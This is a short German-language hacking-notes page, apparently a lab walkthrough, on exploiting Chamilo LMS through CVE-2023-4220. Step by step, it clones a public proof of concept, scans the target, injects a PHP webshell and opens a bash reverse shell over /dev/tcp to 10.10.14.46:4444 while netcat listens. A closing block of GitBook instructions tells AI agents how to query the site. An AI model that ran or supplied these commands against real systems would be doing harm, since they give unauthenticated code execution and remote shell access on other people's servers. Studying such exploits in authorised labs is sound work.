> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/chamilo-cms-exploitation.md).

# Chamilo

<figure><img src="/files/a6908cdf5bc59a85733d4e17169f5dd797ca32e8" alt=""><figcaption></figcaption></figure>

## Schwachstelle Chamilo /\[CVE-2023-4220]

Chamilo ist anfällig für CVE-2023-4220, was die Ausführung von Remote-Code (RCE) ermöglicht. Verwenden Sie den folgenden öffentlichen Proof of Concept:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### Klonen Sie das GitHub-Repository :

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. Führen Sie eine Prüfung aus, um zu bestätigen, ob das Ziel verwundbar ist:

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="/files/19950f8c4011cb509486f732da98303c88bad400" alt=""><figcaption></figcaption></figure>

### Webshell:

Wenn die Schwachstelle vorhanden ist, injizieren Sie eine **PHP-Webshell** in Chamilo:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="/files/aec290fd57e960a7c6f2d22a3c3ab8de9f9e5fa3" alt=""><figcaption></figcaption></figure>

Sobald die Webshell eingeschleust wurde, können Befehle auf dem Ziel ausgeführt werden.

<figure><img src="/files/e124a2cc04e8ad9d7f4f1495ff301d459e8facc4" alt=""><figcaption></figcaption></figure>

### Reverse Shell :

Um eine Reverse Shell einzurichten und Zugriff auf die Maschine zu erhalten, führen Sie den folgenden Befehl in Ihrem Terminal aus:

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

Starten Sie dann einen Listener auf Port 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/b9441ec6e301f7d93a91704f5dda72627ffa0c2b" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/chamilo-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
